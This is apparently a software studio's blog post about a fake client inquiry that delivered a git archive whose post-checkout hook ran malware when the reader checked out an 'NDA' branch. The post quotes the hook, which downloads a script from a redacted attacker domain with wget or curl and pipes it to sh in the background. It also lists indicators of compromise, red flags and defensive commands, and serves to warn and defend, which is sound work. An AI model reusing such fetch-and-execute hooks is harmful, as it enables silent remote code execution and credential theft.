We received a contact form inquiry about building a medical supply chain platform — pharma traceability, regulatory compliance, UUID-based unit tracking, the lot. Technically credible, well-written, the kind of project a software studio would genuinely get excited about. After a few exchanges, a Dropbox link arrived with project documentation structured as a git repository. One note from the sender: the NDA was in a separate branch called NDA, so we’d need to check that out to see the full scope.
We almost did. And we would have been compromised.
What was actually in the archive
We weren’t alone. Michał Kurzeja shared an almost identical experience on LinkedIn, and the team at Quellcode 360 published a detailed technical breakdown of the same attack in May 2026 — same inquiry, same infrastructure, same trap. What follows draws on their analysis as much as our own.
Alongside the plausible markdown documentation inside the archive sat a complete .git/ directory. Within it were active git hooks — files without the .sample extension, which means git treats them as executable and runs them automatically during normal operations:
.git/hooks/post-checkout
.git/hooks/pre-push
.git/hooks/commit-msgThe post-checkout hook was the one that mattered. Running git checkout NDA — exactly what the email was leading us toward — would have triggered this:
platform="$(uname -s 2>/dev/null || echo "Unknown")"
case "$platform" in
Linux)
(bash -c "wget -qO- 'https://[attacker-domain]/api/l' | sh" > /dev/null 2>&1 &)
Darwin)
(bash -c "curl -s '[attacker-domain]/api/m' | sh" > /dev/null 2>&1 &)It detects your operating system, downloads a script from an external server, and pipes it straight into the shell — silently, in the background, with no visible trace. Quellcode 360 traced the second-stage payload further: a bash dropper that installed a hidden Node.js process at ~/.npm/.vscode/parser.js and established a connection to a command-and-control server at 135.181.125.112, later confirmed by Switzerland’s Federal Office for Cybersecurity as part of the attacker’s infrastructure.
This was a professionally built, multi-stage malware campaign, designed from the ground up to target software developers through their own everyday tools.
Why this will get worse, not better
For most of software’s history, git was a tool that only engineers used. If you knew what a hook was, you also knew to look for unexpected ones. The threat model for this kind of attack was naturally bounded by that population. What’s changed — and what neither of the other write-ups focuses on — is that this boundary has quietly dissolved.
Over the past two years, git has become infrastructure for a much wider range of work. Teams building RAG pipelines store their knowledge base as markdown files in a repository, and the AI assistant indexes the repo directly. AI agents pull their configuration, system prompts, and tool definitions from git-tracked files. Offer documentation, client onboarding materials, internal process knowledge — all increasingly versioned in git because that’s what connects cleanly to the automation layer. In quite a few organisations we work with, git now functions as the operational backbone of their AI systems, even when nobody describes it that way.
This is genuinely the right architecture. It’s also why the attacker sent a git archive instead of a PDF.
The people interacting with these repositories aren’t all engineers anymore. It’s the operations lead who cloned the knowledge base for the first time last month. The account manager who checks out branches to review proposal drafts. The project coordinator who read “the NDA is in the NDA branch” and had no reason to think twice about it. These people have never heard of .git/hooks/, and there’s no reason they should have had to — until now.
The three red flags to recognise
Looking at the documented incidents, the social engineering followed a consistent playbook. Knowing the pattern makes it much easier to spot.
Technically credible, but zero practical detail. The project brief was thorough — feature lists, regulatory requirements, complex architecture. But there was no budget range, no location, no company size, and no direct answer to basic scoping questions. The effort went into sounding real, not into being real.
Archive delivery with an elaborate justification. Legitimate prospects send GitHub links, Notion docs, Google Drive folders. Receiving a .tar.gz via Dropbox is unusual enough, but the real tell is the explanation that comes with it — the NDA structure, the branch conventions, the repository organisation rationale. That explanation exists to make the delivery method feel normal. It isn’t.
An instruction to run a specific git command. “The NDA is in the NDA branch.” Everything else in the email — the credibility-building, the elaborate project details, the file format choice — is scaffolding for that one moment when you type git checkout NDA.
Before you open anything
Three commands will tell you what you need to know before touching anything inside an unfamiliar archive:
# List active hooks — anything without .sample will execute
find .git/hooks -maxdepth 1 -type f -print
# Extract while stripping the .git directory entirely
tar --exclude='*/.git' --exclude='*/.git/*' -xzf archive.tar.gz
# Already extracted? Remove the git directory
rm -rf .gitIf you find files in .git/hooks/ without .sample extensions, open them and read them before doing anything else. They are shell scripts that run automatically on everyday git operations — checkout, push, commit, merge. Look specifically for wget | sh or curl | sh patterns, references to external URLs, nohup processes, paths like ~/.config/ or ~/.npm/.vscode/, and npm install calls anywhere outside a legitimate package directory.
If git commands were already run against the archive: check for ~/.config/tokenlinux.* and ~/.npm/.vscode/, look for running Node.js processes referencing .npm/.vscode, and check outbound network connections to 135.181.125.112. Any credentials accessible from that machine — SSH keys, API tokens, cloud access, browser profiles — should be rotated immediately.
The training gap we need to close
There’s a practical implication here that goes beyond this specific attack. As more teams build and operate AI agents and assistants, git becomes a shared tool across the whole organisation — and the security habits that engineers carry naturally don’t transfer automatically to everyone else who starts using it.
When we help clients build AI systems, we include a session on exactly this kind of risk. Not a theoretical lecture on cybersecurity, but a working session grounded in the actual architecture the team is operating: how their knowledge base is structured, where the access boundaries sit, what an attacker who understood that architecture would look for. It takes a few hours and tends to surface assumptions nobody had thought to examine. If your team is expanding its use of AI-connected repositories and this kind of training isn’t already part of the programme, it’s worth adding before the first suspicious inquiry lands.
What this really is
We’re not writing this to add another account of the attack mechanics — Michał and the Quellcode 360 team have covered that ground well. The point we want to make is simpler: when the tools change who uses them, the threat model changes too, and that shift rarely comes with a memo.
Git is infrastructure now. The teams connecting it to AI agents, knowledge bases, and automated workflows are often not thinking of it as an attack surface, because for the kind of work they’re used to doing, it never was. That’s precisely what makes this category of attack effective — it doesn’t exploit a software vulnerability, it exploits the gap between what a tool used to be and what it’s quietly become.
Closing that gap is worth doing deliberately, rather than waiting for the attacker to point it out.